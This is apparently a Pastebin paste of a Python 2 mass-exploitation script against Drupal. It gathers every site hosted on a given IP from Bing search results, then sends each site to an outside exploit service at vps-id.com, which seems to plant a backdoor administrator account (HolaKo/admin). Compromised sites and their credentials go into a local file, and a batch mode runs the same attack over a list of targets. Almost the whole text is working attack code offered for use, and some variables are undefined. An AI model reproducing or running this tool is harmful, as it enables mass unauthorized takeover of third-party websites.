Advertisement
Guest User

Untitled

a guest
Aug 17th, 2017
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.64 KB | None | 0 0
  1. here u go azui
  2.  
  3. def drupal():
  4.  
  5. '''Drupal Exploit Binger All Websites Of server '''
  6. ip = raw_input('1- IP : ')
  7. page = 1
  8. while page <= 50 :
  9.  
  10. url = "http://www.bing.com/search?q=ip%3A"+ip+"&go=Valider&qs=n&form=QBRE&pq=ip%3A"+ip+"&sc=0-0&sp=-1&sk=&cvid=af529d7028ad43a69edc90dbecdeac4f&first="+str(page)
  11. req = urllib2.Request(url)
  12. opreq = urllib2.urlopen(req).read()
  13. findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
  14. page += 1
  15.  
  16. for url in findurl :
  17. try :
  18.  
  19. urlpa = urlparse(url)
  20. site = urlpa.netloc
  21.  
  22. print "[+] Testing At "+site
  23. resp = urllib2.urlopen('http://vps-id.com/DRUPAL/?url='+site+'&submit=submit')
  24. read=resp.read()
  25. if "User : HolaKo" in read:
  26. print "Exploit found =>"+site
  27.  
  28. print "user:HolaKo\npass:admin"
  29. a = open('up.txt','a')
  30. a.write(site+'\n')
  31. a.write("user:"+user+"\npass:"+pwd+"\n")
  32. else :
  33. print "[-] Expl Not Found :( "
  34.  
  35. except Exception as ex :
  36. print ex
  37. sys.exit(0)
  38.  
  39.  
  40. #Drupal Server ExtraCtor
  41. def getdrupal():
  42. ip = raw_input('2- Ip : ')
  43. page = 1
  44. sites = list()
  45. while page <= 50 :
  46.  
  47. url = "http://www.bing.com/search?q=ip%3A"+ip+"+node&go=Valider&qs=ds&form=QBRE&first="+str(page)
  48. req = urllib2.Request(url)
  49. opreq = urllib2.urlopen(req).read()
  50. findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
  51. page += 1
  52.  
  53. for url in findurl :
  54. split = urlparse(url)
  55. site = split.netloc
  56. if site not in sites :
  57. print site
  58. sites.append(site)
  59.  
  60.  
  61. #Drupal Mass List Exploiter
  62. def drupallist():
  63. listop = raw_input("Enter The list Txt :")
  64. fileopen = open(listop,'r')
  65. content = fileopen.readlines()
  66. for i in content :
  67. url=i.strip()
  68. try :
  69. openurl = urllib2.urlopen('http://vps-id.com/DRUPAL/?url='+url+'&submit=submit')
  70. readcontent = openurl.read()
  71. if "Success" in readcontent :
  72. print "[+]Success =>"+url
  73. print "[-]username:HolaKo\n[-]password:admin"
  74. save = open('drupal.txt','a')
  75. save.write(url+"\n"+"[-]username:HolaKo\n[-]password:admin\n")
  76.  
  77. else :
  78. print i + "=> exploit not found "
  79. except Exception as ex :
  80. print ex
  81.  
  82. def main():
  83. print logo
  84. print menu
  85. choose = raw_input("choose a number :")
  86. while True :
  87.  
  88. if choose == "1":
  89. drupal()
  90. if choose == "2":
  91. getdrupal()
  92. if choose == "3":
  93. drupallist()
  94. if choose == "4":
  95. about()
  96. if choose == "11":
  97. print "#By"
  98. exit()
  99. con = raw_input('Continue [Y/n] -> ')
  100. if con[0].upper() == 'N' :
  101. exit()
  102. if con[0].upper() == 'Y' :
  103. main()
  104.  
  105.  
  106.  
  107. if __name__ == '__main__':main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement